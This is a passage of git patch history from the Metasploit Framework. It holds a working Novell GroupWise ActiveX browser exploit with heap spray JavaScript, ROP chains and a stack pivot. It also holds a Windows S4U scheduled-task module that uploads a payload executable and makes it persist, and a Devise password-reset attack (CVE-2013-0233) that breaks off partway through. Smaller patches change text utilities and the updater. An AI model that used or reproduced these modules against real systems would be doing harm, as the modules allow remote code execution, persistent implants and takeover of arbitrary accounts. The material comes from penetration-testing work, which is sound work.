}, + 'Platform' => 'win', + 'Targets' => + [ + # gwcls1.dll 12.0.0.8586 + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 30 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = %Q| + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset_length = #{my_target['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + | + + else + # For IE 6, 7, 8 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + | + + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def stack_pivot + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil? + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + end + + return rop_payload + end + + + def load_exploit_html(my_target, cli) + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 + + html = %Q| + + + + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + + +=begin + +* Remote Code Exec + +.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 +.text:103BDDEF test esi, esi +.text:103BDDF1 jnz short loc_103BDE17 +.text:103BDDF3 cmp [eax+426h], esi +.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil? +.text:103BDDFB mov ecx, [ebp+arg_8] +.text:103BDDFE mov edx, [ebp+arg_4] +.text:103BDE01 push ecx +.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it +.text:103BDE08 push edx +.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it +.text:103BDE0F push ecx +.text:103BDE10 call edx // Win! + +* Info Leak + +// Memory disclosure => 4 bytes from an arbitrary address +// Unstable when info leaking and triggering rce path... +target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll +var leak = target.GetMiscAccess(); +alert(leak); + +=end \ No newline at end of file From 17b349ab50bb6705b64eadb66d4a8c229a3b8d42 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 9 Feb 2013 17:49:57 +0100 Subject: [PATCH 176/448] added crash to comments --- .../windows/browser/novell_groupwise_gwcls1_actvx.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index a3f50861e8..1b6971b5c2 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -284,6 +284,17 @@ end * Remote Code Exec +(240.8d4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll - +eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58 +eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 +gwenv1!NgwOFErrorEnabledVector::SetParent+0x326b9d: +10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=?? + + .text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 .text:103BDDEF test esi, esi .text:103BDDF1 jnz short loc_103BDE17 From acdd952eb22bb4de33f7541611561a9f41973127 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 9 Feb 2013 21:50:12 +0000 Subject: [PATCH 177/448] Initial commit --- lib/rex/text.rb | 71 +++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 57 insertions(+), 14 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 37137e7af3..95d465283a 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -39,8 +39,8 @@ module Text UpperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" LowerAlpha = "abcdefghijklmnopqrstuvwxyz" Numerals = "0123456789" - Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" - Alpha = UpperAlpha + LowerAlpha + Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + Alpha = UpperAlpha + LowerAlpha AlphaNumeric = Alpha + Numerals HighAscii = [*(0x80 .. 0xff)].pack("C*") LowAscii = [*(0x00 .. 0x1f)].pack("C*") @@ -307,16 +307,16 @@ module Text # # Supported unicode types include: utf-16le, utf16-be, utf32-le, utf32-be, utf-7, and utf-8 # - # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". + # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". # # utf-7 by default does not encode alphanumeric and a few other characters. By specifying the mode of "all", then all of the characters are encoded, not just the non-alphanumeric set. # to_unicode(str, 'utf-7', 'all') # # utf-8 specifies that alphanumeric characters are used directly, eg "a" is just "a". However, there exist 6 different overlong encodings of "a" that are technically not valid, but parse just fine in most utf-8 parsers. (0xC1A1, 0xE081A1, 0xF08081A1, 0xF8808081A1, 0xFC80808081A1, 0xFE8080808081A1). How many bytes to use for the overlong enocding is specified providing 'size'. - # to_unicode(str, 'utf-8', 'overlong', 2) + # to_unicode(str, 'utf-8', 'overlong', 2) # - # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. - # to_unicode(str, 'utf-8', 'invalid', 2) + # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. + # to_unicode(str, 'utf-8', 'invalid', 2) # # utf-7 defaults to 'normal' utf-7 encoding # utf-8 defaults to 2 byte 'normal' encoding @@ -360,7 +360,7 @@ module Text string = '' str.each_byte { |a| if (a < 21 || a > 0x7f) || mode != '' - # ugh. turn a single byte into the binary representation of it, in array form + # ugh. turn a single byte into the binary representation of it, in array form bin = [a].pack('C').unpack('B8')[0].split(//) # even more ugh. @@ -658,6 +658,49 @@ module Text buf << "\n" end + # + # Converts a string a nicely formatted and addressed ex dump + # + def self.to_addr_hex_dump(str, start_addr=0, width=16) + buf = '' + idx = 0 + cnt = 0 + snl = false + lst = 0 + addr = start_addr + + while (idx < str.length) + + buf << "%08x" % addr + buf << " " * 4 + chunk = str[idx, width] + line = chunk.unpack("H*")[0].scan(/../).join(" ") + buf << line + + if (lst == 0) + lst = line.length + buf << " " * 4 + else + buf << " " * ((lst - line.length) + 4).abs + end + + chunk.unpack("C*").each do |c| + if (c > 0x1f and c < 0x7f) + buf << c.chr + else + buf << "." + end + end + + buf << "\n" + + idx += width + addr += width + end + + buf << "\n" + end + # # Converts a hex string to a raw string # @@ -691,20 +734,20 @@ module Text # Converts a string to a hex version with wrapping support # def self.hexify(str, col = DefaultWrap, line_start = '', line_end = '', buf_start = '', buf_end = '') - output = buf_start - cur = 0 - count = 0 + output = buf_start + cur = 0 + count = 0 new_line = true # Go through each byte in the string str.each_byte { |byte| count += 1 - append = '' + append = '' # If this is a new line, prepend with the # line start text if (new_line == true) - append << line_start + append << line_start new_line = false end @@ -716,7 +759,7 @@ module Text # time to finish up this line if ((cur + line_end.length >= col) or (cur + buf_end.length >= col)) new_line = true - cur = 0 + cur = 0 # If this is the last byte, use the buf_end instead of # line_end @@ -1277,7 +1320,7 @@ module Text else ret = str end - ret + ret end # From 73f136ef9a8161deb2dda0a3d6b59ea0fb2aa1f3 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Feb 2013 15:01:35 -0600 Subject: [PATCH 178/448] Update msfupdate to work with debian packages If apt was used to install framework, use apt-get to update. --- msfupdate | 43 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/msfupdate b/msfupdate index 058fd8f51e..6b168d0091 100755 --- a/msfupdate +++ b/msfupdate @@ -30,9 +30,13 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?) exit 0x10 end +def is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) +end + # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git @@ -69,6 +73,24 @@ def maybe_wait_and_exit(exit_code=0) end end +def apt_upgrade_available(package) + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3("apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end +end + # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| @@ -186,7 +208,24 @@ if is_installed end end -unless is_svn || is_git || is_installed +if is_apt + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") + + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + system("/etc/init.d/metasploit start") if packages.include?('metasploit') + end +end + +unless is_svn || is_git || is_installed || is_apt raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end From 3a499b1a6df332e4751f8fd8a3bd39bf3fb9988b Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Sun, 10 Feb 2013 14:22:36 -0500 Subject: [PATCH 179/448] added s4u_persistence.rb --- data/exploits/s4u_persistence | 50 +++ .../exploits/windows/local/s4u_persistence.rb | 402 ++++++++++++++++++ 2 files changed, 452 insertions(+) create mode 100644 data/exploits/s4u_persistence create mode 100644 modules/exploits/windows/local/s4u_persistence.rb diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence new file mode 100644 index 0000000000..2d736d225e --- /dev/null +++ b/data/exploits/s4u_persistence @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 0000000000..0d5189064a --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,402 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" ', + 'Brandon McCann "zeknox" ' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + print_error("This module only works on Vista/2008 and above") + return + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_error("Advanced options EVENT_LOG and EVENT_ID required for event") + print_status("The properties of any event in the event viewer will contain this information") + return + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_response = upload_rexe(rexe_path, payload) + return if not upload_response + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + if not write_xml(xml, xml_path) + delete_file(rexe_path) + return + end + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + task = create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + if datastore['REXENAME'].nil? + rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + return rexename + elsif datastore['REXENAME'] =~ /\.exe$/ + rexename = datastore['REXENAME'] + return rexename + else + print_warning("#{datastore['REXENAME']} isn't an exe") + return rexename + end + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + print_error("File #{path} already exists...exiting") + return false + end + begin + fd = client.fs.file.new(path, "wb") + fd.write(payload) + fd.close + rescue + print_error("Could not upload to #{path}") + return false + end + print_status("Successfully uploaded remote executable to #{path}") + return true + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? + # Append xpath queries + line << " and #{datastore['XPATH']}" + end + vprint_status("XPath query: #{line}") + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/.*?PT#{minutes}M<") + + # Generate expire tag + end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "#{date}T#{time}" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " #{trig}\n" + temp_xml << " #{domain}\\#{user}\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path) + begin + if file? path + print_error("File #{path} already exists...exiting") + return false + end + fd = session.fs.file.new(path, "wb") + fd.write(xml) + fd.close + rescue + print_error("Issues writing XML to #{path}") + return false + end + print_status("Successfully wrote XML file to #{path}") + return true + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + session.fs.file.rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + return false + end + return true + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + return true + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + print_error("The scheduled task name is already in use") + # Clean up + delete_file(rexe_path) + delete_file(path) + else + print_error("Issues creating task using XML file schtasks") + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + return false + end + end +end \ No newline at end of file From 55cba56591fc7befd7d71197a84b9433c67f3780 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 10 Feb 2013 21:10:00 -0600 Subject: [PATCH 180/448] Aux module for joernchen's devise vuln - CVE-2013-0233 --- .../admin/http/rails_devise_pass_reset.rb | 139 ++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 modules/auxiliary/admin/http/rails_devise_pass_reset.rb diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb new file mode 100644 index 0000000000..48ae2186ad --- /dev/null +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -0,0 +1,139 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rails Devise authentication gem Password Reset', + 'Description' => %q{ + The Devise authentication gem for Ruby on Rails is vulnerable + to a password reset exploit leveraging type confusion. By submitting XML + to rails, we can influence the type used for the reset_password_token + parameter. This allows for resetting passwords of arbitrary accounts, + knowing only the associated email address. + + This module defaults to the most common devise URIs and response values, + but these may require adjustment for implementations which customize them. + + Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database + except PostgreSQL or SQLite3. + + Tested w/ v2.2.2, 2.1.2, and 2.0.4. + }, + 'Author' => + [ + 'joernchen', #original discovery and disclosure + 'jjarmoc', #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2013-0233'], + [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + ], + 'DisclosureDate' => 'Jan 28 2013' + )) + + register_options( + [ + OptString.new('URIPATH', [ true, "The request URI", '/users/password']), + OptString.new('TARGETEMAIL', [true, "The Email address of target account", '']), + OptString.new('PASSWORD', [true, 'The password to set', "#{Rex::Text.rand_text_alpha(rand(10) + 5)}"]), + OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), + OptInt.new('MAXINT', [true, "Max integer to try (Tokens begining with a higher int will fail)", 10]) + ], self.class) + end + + def generate_token(account) + # CSRF token from GET "/users/password/new" isn't actually validated it seems. + + print_status("Generating reset token for #{account}") + + postdata="user[email]=#{account}" + + res = send_request_cgi({ + 'uri' => datastore['URIPATH'], + 'method' => 'POST', + 'data' => postdata, + }) + end + + def clear_tokens() + print_status("Clearing existing tokens") + count = 0 + status = true + until (status == false) do + status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) + count += 1 if status + end + print_status("Cleared #{count} tokens") + end + + def reset_one(password, report=false) + print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report + + (0..datastore['MAXINT']).each{ |int_to_try| + xml = "" + xml << "" + xml << "#{password}" + xml << "#{password}" + xml << "#{int_to_try}" + xml << "" + + res = send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => 'PUT', + 'ctype' => 'application/xml', + 'data' => xml, + }) + + #binding.pry if report + + case res.code + when 200 + # Failure, grab the error text + # May need to 